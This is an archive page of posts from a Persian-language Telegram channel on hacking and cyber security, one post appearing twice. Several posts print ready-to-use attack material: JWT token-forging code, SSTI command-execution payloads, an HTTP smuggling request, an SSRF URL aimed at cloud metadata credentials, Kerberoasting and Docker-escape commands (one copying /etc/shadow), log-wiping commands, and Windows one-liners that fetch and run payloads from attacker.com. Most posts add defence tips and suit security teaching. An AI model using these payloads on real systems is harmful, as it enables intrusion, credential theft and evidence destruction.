ch
Feedback

不要被骗子欺骗!Telemetrio 会找到并标记这些频道 👉 如果想查看标记,请订阅

SPIRE X

SPIRE X

前往频道在 Telegram

🛡️ Nullactive | Spire Team 💻 Cyber Security • Ethical Hacking 🐧 Linux | Networking | Web Security 🧠 آموزش، ابزار و تحلیل فنی 🔬 تمرین در محیط‌های آزمایشگاهی مجاز ⚡ Learn • Practice • Secure

显示更多
未指定国家未指定类别
4 349
订阅者
-12324 小时
-5237 天
-2 63130 天
帖子存档
SPIRE X
4 349
JWT alg confusion، حمله به توکن‌های احراز هویت JWT سه بخش داره: Header.Payload.Signature Header می‌گه با چه الگوریتمی امضا شده. مثلاً {"alg":"HS256"} Signature با یه کلید مخفی محاسبه میشه. حالا حمله چیه؟ فرض کن سرور از RS256 استفاده می‌کنه. یعنی یه کلید خصوصی داره که باهاش امضا می‌کنه. کلید عمومی هم داره که باهاش چک می‌کنه. مهاجم می‌تونه کلید عمومی رو از سرور بگیره. حالا چیکار می‌کنه؟ Header رو عوض می‌کنه: {"alg":"HS256"} و Payload رو مثلاً تغییر میده: {"user":"admin"} بعد با کلید عمومی (که همه می‌تونن داشته باشن) امضا می‌کنه. سرور می‌بینه alg=HS256، پس با کلید عمومی به عنوان HMAC امضا چک می‌کنه. امضا معتبره. وارد ادمین میشی. پیلود: import jwt public_key = open("public.pem").read() token = jwt.encode( {"user": "admin"}, public_key, algorithm="HS256" ) نوع دیگه: alg=none {"alg":"none"} سرور اگه چک نکنه که الگوریتم none مجاز نیست، امضا رو کلاً نادیده می‌گیره. token = jwt.encode({"user":"admin"}, "", algorithm="none") دفاع: الگوریتم رو تو سرور هاردکد کن، از توکن نخون. alg=none رو کلاً بلاک کن. کلید عمومی رو به عنوان HMAC استفاده نکن. #ℳℴ𝒷𝒾𝓃

SPIRE X
4 349
JWT alg confusion، حمله به توکن‌های احراز هویت JWT سه بخش داره: Header.Payload.Signature Header می‌گه با چه الگوریتمی امضا شده. مثلاً {"alg":"HS256"} Signature با یه کلید مخفی محاسبه میشه. حالا حمله چیه؟ فرض کن سرور از RS256 استفاده می‌کنه. یعنی یه کلید خصوصی داره که باهاش امضا می‌کنه. کلید عمومی هم داره که باهاش چک می‌کنه. مهاجم می‌تونه کلید عمومی رو از سرور بگیره. حالا چیکار می‌کنه؟ Header رو عوض می‌کنه: {"alg":"HS256"} و Payload رو مثلاً تغییر میده: {"user":"admin"} بعد با کلید عمومی (که همه می‌تونن داشته باشن) امضا می‌کنه. سرور می‌بینه alg=HS256، پس با کلید عمومی به عنوان HMAC امضا چک می‌کنه. امضا معتبره. وارد ادمین میشی. پیلود: import jwt public_key = open("public.pem").read() token = jwt.encode( {"user": "admin"}, public_key, algorithm="HS256" ) نوع دیگه: alg=none {"alg":"none"} سرور اگه چک نکنه که الگوریتم none مجاز نیست، امضا رو کلاً نادیده می‌گیره. token = jwt.encode({"user":"admin"}, "", algorithm="none") دفاع: الگوریتم رو تو سرور هاردکد کن، از توکن نخون. alg=none رو کلاً بلاک کن. کلید عمومی رو به عنوان HMAC استفاده نکن. #ℳℴ𝒷𝒾𝓃

SPIRE X
4 349
SSTI، وقتی قالب سایت بهت اجازه کد زدن میده خیلی از سایت‌ها از Template Engine استفاده می‌کنن. Jinja2 تو پایتون، Twig تو PHP، Freemarker تو Java. حالا اگه ورودی کاربر مستقیم بره تو قالب، فاجعه میشه. مثال ساده: @app.route("/hello") def hello(): name = request.args.get("name", "world") return render_template_string("Hello " + name) حالا اگه بفرستی: ?name={{7*7}} خروجی میشه: Hello 49 یعنی قالب داره کد اجرا می‌کنه. حالا بریم سراغ اجرای فرمان: Jinja2: {{ config.class.init.globals['os'].popen('id').read() }} Twig: {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}} Freemarker: <#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")} چرا خطرناکه؟ چون خیلی وقتا Template Engine، دسترسی به فایل سیستم و اجرای فرمان داره. یعنی از یه ورودی ساده، به RCE کامل می‌رسی. چطور تست کنیم؟ یه پیلود ساده بفرست: {{7*7}} اگه 49 شد، جای کار داره. بعد بفرست: {{7*'7'}} اگه 7777777 شد، Jinja2 هست. اگه 49 شد، Twig هست. این تفاوت‌ها بهت میگه کدوم موتور رو باید اکسپلویت کنی. دفاع: هرگز ورودی کاربر رو مستقیم تو قالب نذار. از render_template استفاده کن، نه render_template_string. Sandbox محیط قالب رو محدود کن. #ℳℴ𝒷𝒾𝓃

SPIRE X
4 349
HTTP Request Smuggling، حمله‌ای که هیچ WAF نمی‌گیره وقتی یه درخواست HTTP می‌فرستی، دو تا هدر تعیین می‌کنن بدنه چقدره: Content-Length Transfer-Encoding حالا اگه هر دو رو بفرستی و مقدارشون با هم نخونه، چی میشه؟ سرور Front-End (مثل Nginx) یکی رو باور می‌کنه. سرور Back-End (مثل Apache) اون یکی رو. نتیجه: درخواست‌ها با هم قاطی میشن. مثال CL.TE: POST / HTTP/1.1 Host: target.com Content-Length: 13 Transfer-Encoding: chunked 0 SMUGGLED Nginx می‌گه ۱۳ بایت، پس فقط ۰ رو می‌خونه. Apache می‌گه chunked، پس SMUGGLED هم بخشی از درخواست بعدیه. حالا SMUGGLED به درخواست نفر بعدی می‌چسبه. یعنی چی؟ اگه یه کاربر بعد از تو بیاد، SMUGGLED می‌شه بخشی از درخواست اون. می‌تونی درخواست قربانی رو دزدی کنی. یا پاسخ سرور رو مسموم کنی. حمله واقعی: سال ۲۰۱۹ تو PayPal استفاده شد. مهاجم تونست کوکی قربانی‌ها رو بدزده. سال ۲۰۲۰ تو Slack و AWS. مهاجم تونست به پنل ادمین دسترسی بگیره. دفاع: از یه نسخه HTTP parser تو همه لایه‌ها استفاده کن. Transfer-Encoding و Content-Length رو همزمان قبول نکن. Nginx جدید این رو فیلتر می‌کنه. #ℳℴ𝒷𝒾𝓃

SPIRE X
4 349
صبح بخیر. اگر هنوز نفس می‌کشی، به این معنی نیست که امنی؛ فقط هنوز انتخاب نشدی. هیچ توضیحی، هیچ پناهی، هیچ راهی وجود ندارد. فقط ادامه بده… تا زمانی که اجازه داشته باشی وجود داشته باشی.

SPIRE X
4 349
چرا اکثر حملات بعد از نفوذ لو میرن گرفتن دسترسی سخت نیست. موندن تو سیستم سخته. مثال‌های واقعی از اشتباهاتی که هکرها رو لو داد: ۱. لاگین تو ساعت عجیب کارمند معمولی ساعت ۳ بامداد SSH نمی‌زنه. SOC چک می‌کنه، می‌بینه یه ورود از IP چین. مشکوک میشه. ۲. دانلود داده زیاد یه کاربر نرمال، روزی ۵۰۰ مگ دانلود می‌کنه. اگه یهو ۵۰ گیگ دانلود کنه، یعنی داره چیزی Exfiltrate می‌کنه. DLP سیستم‌ها این رو می‌گیرن. ۳. اضافه کردن کاربر جدید هکر یه حساب مخفی می‌سازه برای دسترسی مجدد. ولی این خودش یه رخداد تو لاگه. Event ID 4720 تو ویندوز. ۴. تغییر در AD اضافه کردن خودش به گروه Domain Admins. Event ID 4728 ثبت میشه. ۵. استفاده از ابزارهای شناخته‌شده Mimikatz، Cobalt Strike، BloodHound. امضای این ابزارها تو حافظه می‌مونه. حتی اگه فایل پاک شه. ۶. فراموش کردن پاک کردن Prefetch ویندوز اجرای برنامه‌ها رو تو C:\Windows\Prefetch ذخیره می‌کنه. اگه بدافزار اجرا شده باشه، اسمش اونجاست. ۷. حذف لاگ اما نه بکاپ هکر لاگ اصلی رو پاک می‌کنه. ولی اگه لاگ به SIEM فرستاده شده باشه، نسخه اصلی اونجاست. ۸. IPS/IDS رو نادیده گرفتن اگه هکر از ابزارهای اسکن استفاده کنه، IPS می‌گیره، حتی اگه حمله موفق نباشه. ۹. DNS Logs هکر به C2 وصل میشه. DNS Log نشون میده یه دامنه عجیب resolve شده. معمولاً DGA (Domain Generation Algorithm) تو لاگ DNS واضحه. ۱۰. HTTP User-Agent اگه هکر از curl یا python-requests استفاده کنه، User-Agent تو لاگ Apache می‌مونه. درس: نفوذ، فقط ۵٪ کاره. ۹۵٪ بقیه، موندن بی‌صداست. و اکثر هکرها تو همون ۹۵٪ لو میرن. #ℳℴ𝒷𝒾𝓃

SPIRE X
4 349
چرا رمزنگاری End-to-End هم قابل شکسته؟ واتساپ، سیگنال، تلگرام Secret Chat همه E2EE دارن. یعنی پیام‌ها رمزنگاری شده و فقط گیرنده می‌تونه بخونه. ولی چند تا راه برای شکستنش هست: ۱. حمله به خود کلاینت مهم نیست پیام رمزنگاری شده. اگه گوشی قربانی رو هک کنی، پیام‌ها رو همون‌جا رمزگشایی شده می‌خونی. ۲. حمله به بکاپ واتساپ بکاپ می‌گیره. اگه بکاپ رمزنگاری نشده باشه، یا کلیدش ضعیف باشه، می‌تونی مستقیم پیام‌ها رو بخونی. ۳. حمله به متادیتا محتوا رمزنگاری شده، ولی متادیتا نه. کی با کی حرف زده، کِی، چند بار، چقدر طول کشیده. این اطلاعات به تنهایی می‌تونه خیلی چیزها رو لو بده. ۴. Pegasus و اسپای‌ورها N، روز صفر پیدا می‌کنن تو خود اپ. بدون اینکه کاربر بفهمه، کنترل کامل گوشی رو می‌گیرن. دیگه E2EE اصلاً مهم نیست. ۵. حمله به کلید اگه کلید خصوصی طرف لو بره، همه چی تمومه. چطور؟ از RAM گوشی، یا از بکاپ، یا از یه باگ تو Random Generator. دفاع: بکاپ رو خودت رمزنگاری کن. گوشی رو همیشه آپدیت نگه دار. از اپ‌هایی استفاده کن که متادیتا رو هم مخفی می‌کنن. مثل Signal که Sealed Sender داره. #ℳℴ𝒷𝒾𝓃

SPIRE X
4 349
EDR Evasion، چرا بعضی بدافزارها گرفته نمیشن EDR یعنی Endpoint Detection and Response. نسل بعدی آنتی‌ویروس‌هاست. فقط امضا رو چک نمی‌کنه، رفتار رو تحلیل می‌کنه. چطور کار می‌کنه؟ ۱. API Hooking توابع ویندوز رو قلاب می‌کنه. هر بار که یه پروسه می‌خواد فایل باز کنه، اول از EDR می‌پرسه. ۲. Behavioral Analysis چک می‌کنه پروسه چه رفتاری داره. اگه یه Word بخواد PowerShell اجرا کنه، مشکوکه. ۳. Memory Scanning حافظه پروسه‌ها رو اسکن می‌کنه. دنبال کدهای ناشناس می‌گرده. ۴. Kernel Callbacks از داخل کرنل، رفتار پروسه‌ها رو مانیتور می‌کنه. حالا مهاجم چطور فرار می‌کنه؟ ۱. Direct Syscall به جای استفاده از API ویندوز، مستقیم به کرنل syscall می‌زنه. EDR نمی‌تونه Hook کنه. ۲. Unhooking DLL مربوط به EDR رو از حافظه پروسه پاک می‌کنه. یا یه نسخه تمیز از دیسک می‌خونه. ۳. Process Injection کدش رو تو یه پروسه معتبر (مثل explorer.exe) تزریق می‌کنه. EDR فکر می‌کنه همه چی عادیه. ۴. Sleep Obfuscation وقتی می‌خواد بخوابه، حافظه‌ش رو رمزنگاری می‌کنه. وقتی بیدار شد، رمزگشایی می‌کنه. اسکنر حافظه چیزی نمی‌بینه. ۵. Living off the Land از خود ابزارهای ویندوز استفاده می‌کنه. EDR اینا رو به عنوان تهدید نمی‌بینه. چرا اینا مهمه؟ چون اگه مهندس امنیت باشی، باید بدونی EDR چطور فریب می‌خوره. اگه هکر باشی، باید بدونی چرا بعضی ابزارها لو میرن. #ℳℴ𝒷𝒾𝓃

SPIRE X
4 349
OSINT حرفه‌ای، پیدا کردن چیزی که نباید پیدا بشه مردم فکر می‌کنن اگه چیزی رو Delete کردن، از بین رفته. ولی اینترنت فراموش نمی‌کنه. تکنیک‌های طلایی: ۱. Google Dorks site:target.com filetype:pdf site:target.com inurl:admin site:target.com ext:sql OR ext:log OR ext:bak ۲. Wayback Machine web.archive.org هر صفحه‌ای که یه روزی آنلاین بوده، آرشیوش هست. حتی اگه حذف شده باشه. حتی اگه پنل ادمین باشه که بعداً بسته شده. ۳. GitHub Search "company.com" password "internal api" org:company filename:.env "DB_PASSWORD" خیلی وقتا کارمندها اشتباهاً کد یا پسورد رو Push می‌کنن. ۴. Certificate Transparency crt.sh هر گواهی SSL که برای دامنه صادر شده، اینجا ثبت میشه. از این لیست، زیردامنه‌های مخفی رو پیدا می‌کنی. ۵. Shodan / Censys org:"Company Name" product:"Apache" port:8080 country:IR ۶. Have I Been Pwned haveibeenpwned.com ایمیل کارمندان رو بده، ببین تو کدوم دیتابیس لو رفته بودن. ممکنه همون پسورد قدیمی رو هنوز استفاده کنن. ۷. Social Media کارمندا عکس از محیط کار می‌گیرن. روی مانیتور، اسم نرم‌افزارها. روی میز، کاغذهایی که پسورد دارن. روی کارت، بج شرکت. دفاع: مهم‌ترین چیز، آگاهی کارمنداست. هر چیزی که آنلاین می‌ذارن، ممکنه روزی علیه‌شون استفاده شه. #ℳℴ𝒷𝒾𝓃

SPIRE X
4 349
Cloud Metadata، معدن طلا تو هر سرور ابری هر سرور AWS, GCP, Azure یه آدرس مخفی داره. این آدرس فقط از داخل خود سرور در دسترسه. آدرسش: AWS: http://169.254.169.254/latest/meta-data/ GCP: http://metadata.google.internal/computeMetadata/v1/ Azure: http://169.254.169.254/metadata/instance چرا مهمه؟ چون تو این آدرس، اطلاعات حیاتی سرور هست. از جمله IAM Credentials، که کلید دسترسی به حساب ابریه. حالا SSRF رو در نظر بگیر. فرض کن یه سایت داره: example.com/fetch?url=http://example.com/image.jpg حالا اگه بفرستی: example.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ چی میشه؟ سرور ابری، از طرف خودش درخواست می‌کنه به آدرس metadata. و بهت Credentials دسترسی میده. با این Credentials می‌تونی: همه S3 Bucket ها رو ببینی همه EC2 ها رو کنترل کنی همه دیتابیس‌ها رو بخونی این حمله تو Capital One استفاده شد. ۱۲۰ میلیون کاربر لو رفت. ۲۰۰ میلیون دلار جریمه. دفاع: از IMDSv2 استفاده کن، نه v1. تو سرور، دسترسی به 169.254.169.254 رو محدود کن. ورودی‌های URL رو اعتبارسنجی کن. #ℳℴ𝒷𝒾𝓃

SPIRE X
4 349
Repost from N/a
🛑 دیگه به کانال های پولی پول نده 🛑

SPIRE X
4 349
Kerberoasting، حمله به Active Directory فرض کن تو یه شبکه سازمانی هستی. می‌خوای حساب‌های سرویس رو هک کنی. پسوردشون رو نمی‌دونی. Kerberoasting چیکار می‌کنه؟ توی Kerberos، هر سرویس یه SPN داره. یه کاربر عادی می‌تونه بگه: "یه Ticket برای این SPN بده." این Ticket رمزنگاری شده با هش پسورد اون سرویس. یعنی هش پسورد، داخل Ticket هست. حالا اگه Ticket رو بگیری، می‌تونی بری خونه و آفلاین کرکش کنی. هیچ‌وقت نمی‌فهمن که داری کرک می‌کنی. مراحل: ۱. پیدا کردن SPN ها Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName ۲. درخواست Ticket Add-Type -AssemblyName System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/sql01.corp.local:1433" ۳. استخراج Ticket kerberos::list /export ۴. کرک آفلاین tgsrepcrack.py wordlist.txt ticket.kirbi چرا خطرناکه؟ چون حساب‌های سرویس معمولاً پسوردشون عوض نمیشه. هش پسورد ممکنه سال‌ها تو AD بمونه. پس یه هش قدیمی، ممکنه هنوز کار کنه. دفاع: حساب‌های سرویس رو با پسورد ۲۵+ کاراکتری بساز. هر ۳۰ روز عوض کن. از Group Managed Service Accounts استفاده کن. #ℳℴ𝒷𝒾𝓃

SPIRE X
4 349
Supply Chain Attack، حمله از راه نرم‌افزار معتبر مستقیم به هدف حمله نمی‌کنی. نرم‌افزاری که هدف استفاده می‌کنه رو آلوده می‌کنی. چرا؟ چون وقتی یه شرکت، آپدیت نرم‌افزارش رو منتشر می‌کنه، همه مشتریاش اعتماد می‌کنن. آپدیت امضا داره. از سرور رسمی میاد. داستان‌های واقعی: SolarWinds مهاجم کد مخرب رو تو آپدیت Orion گذاشت. ۱۸۰۰۰ سازمان، از جمله دولت آمریکا، آلوده شدن. مدت شناسایی: ۹ ماه. NotPetya آپدیت نرم‌افزار حسابداری اوکراینی M.E.Doc آلوده شد. کل دنیا رو گرفت. ۱۰ میلیارد دلار خسارت. event-stream (npm) یه پکیج محبوب npm، مالکش عوض شد. مالک جدید کد مخرب بهش اضافه کرد. یه کتابخونه crypto wallet هدف قرار گرفت. ۳CX (بزرگ‌ترین) مهاجم به سیستم یه کارمند ۳CX دسترسی گرفت. از اونجا به سیستم مشتریاش رفت. حدود ۲۰۰ مشتری، از جمله بانک‌ها. دفاع: همه وابستگی‌ها رو پین کن به نسخه دقیق. Checksum رو چک کن. از محیط ایزوله برای بیلد استفاده کن. SBOM بساز. #ℳℴ𝒷𝒾𝓃

SPIRE X
4 349
چرا آنتی‌ویروس‌ها همه چیز رو نمی‌گیرن مردم فکر می‌کنن با یه آنتی‌ویروس خیالشون راحته. ولی واقعیت اینه که بدافزارهای مدرن راه‌های زیادی برای فرار دارن. ۱. Fileless Malware هیچ فایلی روی دیسک نوشته نمیشه. کد تو حافظه RAM اجرا میشه. بعد از ری‌استارت، هیچ اثری نیست. آنتی‌ویروس چیزی برای اسکن پیدا نمی‌کنه. ۲. Living off the Land از خود ابزارهای ویندوز استفاده می‌کنه. مثل PowerShell, wmic, rundll32. آنتی‌ویروس اینا رو به عنوان تهدید نمی‌بینه چون خود ویندوزن. ۳. Obfuscation کد رو انقدر پیچیده می‌کنه که قابل خوندن نیست. XOR, Base64, رمزنگاری سفارشی. آنتی‌ویروس امضاش رو نمی‌شناسه. ۴. Polymorphism هر بار که اجرا میشه، شکلش عوض میشه. یه بار MD5 فلان، دفعه بعد یه چیز دیگه. آنتی‌ویروس نمی‌تونه با امضا پیداش کنه. ۵. Sandbox Evasion بدافزار چک می‌کنه تو Sandbox هست یا نه. اگه بفهمه، خودش رو اجرا نمی‌کنه. مثلاً چک می‌کنه CPU چنده، RAM چقدره. اگه شبیه ماشین مجازی بود، دست به کار نمیشه. دفاع واقعی: آنتی‌ویروس فقط یه لایه‌ست. لایه‌های دیگه: EDR, SIEM, Network Monitoring, User Training. #ℳℴ𝒷𝒾𝓃

SPIRE X
4 349
چرا لاگ‌ها مهم‌ترین بخش دفاع هستن یه هکر حرفه‌ای، می‌تونه ردش رو پاک کنه. ولی یه هکر معمولی، اصلاً نمی‌دونه کجا رد گذاشته. لاگ‌های حیاتی که هکرها دنبال پاک کردنشون هستن: Linux: /var/log/auth.log → تلاش‌های SSH /var/log/syslog → رویدادهای سیستم /var/log/apache2/ → درخواست‌های وب ~/.bash_history → فرمان‌های کاربر Windows: Event ID 4624 → ورود موفق Event ID 4625 → ورود ناموفق Event ID 4688 → اجرای پروسه Event ID 7045 → نصب سرویس Sysmon: Event ID 1 → اجرای پروسه Event ID 3 → اتصال شبکه Event ID 11 → ساخت فایل Event ID 13 → تغییر رجیستری حالا هکر چطور پاک می‌کنه؟ Linux: history -c unset HISTFILE echo "" > /var/log/auth.log Windows: wevtutil cl Security wevtutil cl System Clear-EventLog -LogName * چطور بفهمیم لاگ پاک شده؟ ۱. اگه یه لاگ کاملاً خالیه، مشکوکه. ۲. اگه Event ID های معروف غیبن. ۳. اگه آخرین ورود تو لاگ، با چیزی که کاربر می‌گه نمی‌خونه. ۴. Sysmon می‌تونه لاگ‌ها رو به SIEM بفرسته، قبل از پاک شدن. نکته: همیشه لاگ‌ها رو Real-Time به یه سرور دیگه بفرست. اون‌وقت حتی اگه سیستم قربانی کاملاً پاک شد، تو لاگ داری. #ℳℴ𝒷𝒾𝓃

SPIRE X
4 349
مهندسی اجتماعی، حمله به انسان نه سیستم بعضی وقتا نیازی نیست سیستمی رو هک کنی. کافیه آدمش رو هک کنی. ۱. Pretexting یه داستان می‌سازی که قابل باور باشه. مثلاً خودت رو از IT شرکت جا می‌زنی و می‌گی: "سلام، ما یه مشکل امنیتی تو سیستم شما دیدیم، برای تأیید، پسورد فعلی رو بگید." ۲. Baiting یه فلش تو پارکینگ شرکت می‌ندازی. روش نوشته: "حقوق کارمندان ۱۴۰۳" کارمند پیدا می‌کنه، فلش رو می‌زنه به سیستم. بدافزار اجرا میشه. ۳. Tailgating پشت یه کارمند وارد ساختمان اداری میشی. دست پرته، کارتت رو می‌زنی، بعد تو هم رد میشی. هیچ‌کس نمی‌پرسه تو کی هستی. ۴. Quid Pro Quo یه تماس می‌گیری، خودت رو از پشتیبانی جا می‌زنی. می‌گی: "ما یه مشکل داریم، اگه کمک کنی یه تخفیف ویژه می‌گیری." ۵. Vishing پیام صوتی می‌فرستی، خودت رو بانک جا می‌زنی. "حساب شما مشکوک به کلاهبرداریه، برای تأیید شماره کارت رو بگید." دفاع: هیچ‌وقت اطلاعات حساس رو تلفنی یا ایمیلی ندید. همیشه هویت طرف رو از راه دیگه چک کنید. آموزش کارمندان مهم‌ترین لایه امنیته. #ℳℴ𝒷𝒾𝓃

SPIRE X
4 349
آسیب‌پذیری‌های منطقی، بدترین نوع باگ بعضی باگ‌ها تکنیکی نیستن. فقط یه فکر اشتباه تو منطق برنامه‌ست. مثال ۱: کد تخفیف یه فروشگاه آنلاین کد تخفیف داره: OFF50 وقتی می‌زنی، ۵۰٪ تخفیف می‌گیری. حالا اگه یه بار دیگه بزنی چی میشه؟ بعضی سایت‌ها چک نمی‌کنن که کد قبلاً استفاده شده یا نه. پس می‌تونی بی‌نهایت تخفیف بگیری. مثال ۲: تغییر قیمت وقتی یه محصول رو به سبد اضافه می‌کنی، قیمت تو یه فیلد مخفی تو فرم ذخیره میشه. حالا اگه قیمت رو از ۱۰۰۰ به ۱ تغییر بدی چی؟ بعضی سایت‌ها قیمت رو از سمت کاربر می‌خونن. یعنی تو می‌تونی محصول رو یه تومان بخری. مثال ۳: تغییر ID example.com/order/1234 اگه 1234 رو به 1235 تغییر بدی چی؟ اگه سفارش کاربر دیگه رو ببینی، یعنی IDOR داری. یعنی دسترسی کنترل درست پیاده نشده. مثال ۴: پنل ادمین مخفی example.com/admin اگه صفحه لود نشد، یعنی فقط بر اساس URL چک می‌کنه. اگه با یه هدر خاص بفرستی، شاید لود شه. X-Forwarded-For: 127.0.0.1 چون خیلی از سرورها فکر می‌کنن درخواست از لوکاله. #ℳℴ𝒷𝒾𝓃

SPIRE X
4 349
Container Escape، فرار از داکر فرض کن یه اپلیکیشن وب رو هک کردی که تو داکر اجرا میشه. حالا داخل کانتینری. ولی هدف، خود میزبانه. راه‌های فرار: ۱. دسترسی به Docker Socket اگه /var/run/docker.sock تو کانتینر مانت شده باشه: docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu حالا کل هارد میزبان رو داری. ۲. Privileged Container اگه کانتینر با --privileged اجرا شده: mount /dev/sda1 /mnt chroot /mnt حالا root میزبان هستی. ۳. Kernel Exploit اگه نسخه کرنل آسیب‌پذیر باشه، از داخل کانتینر، کرنل رو اکسپلویت می‌کنی. مثل Dirty COW, Dirty Pipe. ۴. cgroup Escape اگه cgroup v1 باشه و release_agent قابل نوشتن: echo '#!/bin/sh' > /tmp/exploit.sh echo 'cat /etc/shadow > /tmp/shadow' >> /tmp/exploit.sh chmod +x /tmp/exploit.sh echo /tmp/exploit.sh > /sys/fs/cgroup/release_agent ۵. CAP_SYS_ADMIN اگه این Capability رو داشته باشی: mount -t cgroup -o rdma cgroup /tmp/cgrp یه سری تنظیمات، بعد فرار. دفاع: کانتینر رو non-root اجرا کن. --privileged رو حذف کن. Docker Socket رو داخل کانتینر نذار. از Seccomp و AppArmor استفاده کن. #ℳℴ𝒷𝒾𝓃

SPIRE X
4 349
Living off the Land، هنر استفاده از خود ویندوز هکرهای آماتور بدافزار میارن تو سیستم. حرفه‌ای‌ها از خود ابزارهای ویندوز استفاده می‌کنن. چرا؟ چون این ابزارها خود ویندوزن. آنتی‌ویروس بهشون شک نمی‌کنه. لاگ‌ها هم میگن "یه برنامه رسمی مایکروسافت اجرا شد". نمونه‌هاش: certutil -urlcache -f http://attacker.com/payload.exe یه ابزار رسمی ویندوزه که برای دانلود گواهی طراحی شده. ولی می‌تونی باهاش هر فایلی دانلود کنی. bitsadmin /transfer job http://attacker.com/file.exe C:\temp\file.exe سرویس رسمی ویندوز برای دانلود آپدیت. می‌تونی ازش برای دانلود هر چیزی استفاده کنی. mshta http://attacker.com/script.hta اجرای اسکریپت از راه دور. هیچ فایلی رو دیسک ذخیره نمیشه. regsvr32 /s /n /u /i:http://attacker.com/file.sct scrobj.dll اجرای اسکریپت از راه دور. با یه DLL رسمی ویندوز. wmic process call create "cmd /c payload" اجرای پروسه از راه دور. برای همین میگن، بدافزار مدرن لازم نیست فایل باشه. کافیه از خود ویندوز استفاده کنی. #ℳℴ𝒷𝒾𝓃

SPIRE X
4 349
چطور بفهمیم یه سایت HTTPS واقعیه یا قلابی همه فکر می‌کنن قفل کنار آدرس یعنی سایت امنه. ولی فیشینگ‌ها هم می‌تونن قفل داشته باشن. اول: دامنه رو حرف به حرف بخون paypal.com با paypa1.com google.com با goog1e.com microsoft.com با rnicrosoft.com بعضی حروف تو فونت‌های خاص شبیه همن. m با rn، l با I، O با 0. دوم: گواهی SSL رو چک کن کلیک کن روی قفل، View Certificate رو بزن. صادرکننده کی؟ Let's Encrypt عادیه. تاریخ انقضا؟ اسم دامنه دقیقاً همونیه؟ سوم: از ابزار استفاده کن curl -vI https://example.com 2>&1 | grep -i "subject\|issuer\|expire" چهارم: گوگل Safe Browsing برو به: https://transparencyreport.google.com/safe-browsing/search دامنه رو بذار، ببین قرمز نیست. نکته طلایی: اگه لینکی تو ایمیل یا پیامک اومد، هیچ‌وقت مستقیم کلیک نکن. دستی تو مرورگر تایپ کن. #ℳℴ𝒷𝒾𝓃